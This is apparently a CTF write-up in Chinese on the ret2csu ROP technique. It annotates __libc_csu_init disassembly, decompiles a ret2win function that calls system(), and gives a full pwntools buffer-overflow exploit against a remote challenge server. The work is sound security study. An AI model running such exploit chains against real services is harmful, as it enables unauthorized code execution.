ret2csu原理
利用ret2csu的方法实现ROP。
__libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000400840 ; __unwind {
.text:0000000000400840 push r15
.text:0000000000400842 push r14
.text:0000000000400844 mov r15, rdx
.text:0000000000400847 push r13
.text:0000000000400849 push r12
.text:000000000040084B lea r12, __frame_dummy_init_array_entry
.text:0000000000400852 push rbp
.text:0000000000400853 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:000000000040085A push rbx
.text:000000000040085B mov r13d, edi
.text:000000000040085E mov r14, rsi
.text:0000000000400861 sub rbp, r12
.text:0000000000400864 sub rsp, 8
.text:0000000000400868 sar rbp, 3
.text:000000000040086C call _init_proc
.text:0000000000400871 test rbp, rbp
.text:0000000000400874 jz short loc_400896
.text:0000000000400876 xor ebx, ebx
.text:0000000000400878 nop dword ptr [rax+rax+00000000h]
.text:0000000000400880
.text:0000000000400880 loc_400880: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400880 mov rdx, r15
.text:0000000000400883 mov rsi, r14
.text:0000000000400886 mov edi, r13d
.text:0000000000400889 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040088D add rbx, 1
.text:0000000000400891 cmp rbp, rbx //提前设置rbx=0,rbp=1即可
.text:0000000000400894 jnz short loc_400880
.text:0000000000400896
.text:0000000000400896 loc_400896: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400896 add rsp, 8
.text:000000000040089A pop rbx
.text:000000000040089B pop rbp
.text:000000000040089C pop r12
.text:000000000040089E pop r13
.text:00000000004008A0 pop r14
.text:00000000004008A2 pop r15
.text:00000000004008A4 retn
.text:00000000004008A4 ; } // starts at 400840
主要利用了loc_400880和loc_400896两部分,loc_400896可以设置任意的参数,loc_400880可以实现赋值。
call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
上面代码部分,在实际运算过程中需要使得r12+rbx*8
必须是600E10,即.init_array节的开始。
.init_array:0000000000600E10 ; ELF Initialization Function Table
执行循序loc_400896 → loc_400880→loc_400896
所以最后需要补上一个任意长度位56的字符串,48个是用于pop的,但是我怀疑哪个call里面可能也有一个pop。
反编译分析
ret2win函数,要求第三个参数是0xdeadcafebabebeef
int __fastcall ret2win(__int64 a1, __int64 a2, __int64 a3)
{
char command[8]; // [rsp+10h] [rbp-20h] BYREF
_TBYTE v5; // [rsp+18h] [rbp-18h] BYREF
__int64 v6; // [rsp+28h] [rbp-8h]
*(_QWORD *)&v5 = 0xD5BED0DDDFD28920LL;
HIWORD(v5) = 170;
*(_QWORD *)command = a3 ^ 0xAACCA9D1D4D7DCC0LL;
v6 = (__int64)&v5 + 1;
*(_QWORD *)((char *)&v5 + 1) ^= a3;
return system(command);
}
mov [rbp+var_24], edi
.text:00000000004007BC mov [rbp+var_28], esi
.text:00000000004007BF mov [rbp+var_30], rdx
第三个参数是通过rdx传递的,前两个参数无所谓,ROPgadget中没有能赋值rdx的gadget,使用通用gadget。
EXP
目前不太清除为啥是56,命名pop6个对应48个字节,多出来8个。
from pwn import *
context(log_level='debug')
p = remote("ctf.taqini.space",28029)
xor = 0xdeadcafebabebeef
ret2win_addr = 0x4007B1
init_array_addr = 0x600E10
gadget1 = 0x40089A#pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
gadget2 = 0x400880 #mov rdx, r15;mov rsi, r14;mov edi, r13d;call [r12]
payload = 'a'*40
payload += p64(gadget1)+p64(0) + p64(1)+p64(init_array_addr)+'a'*8+'a'*8+p64(xor)
payload +=p64(gadget2)+'a' * 56+p64(ret2win_addr)
p.recvuntil("> ")
p.sendline(payload)
p.interactive()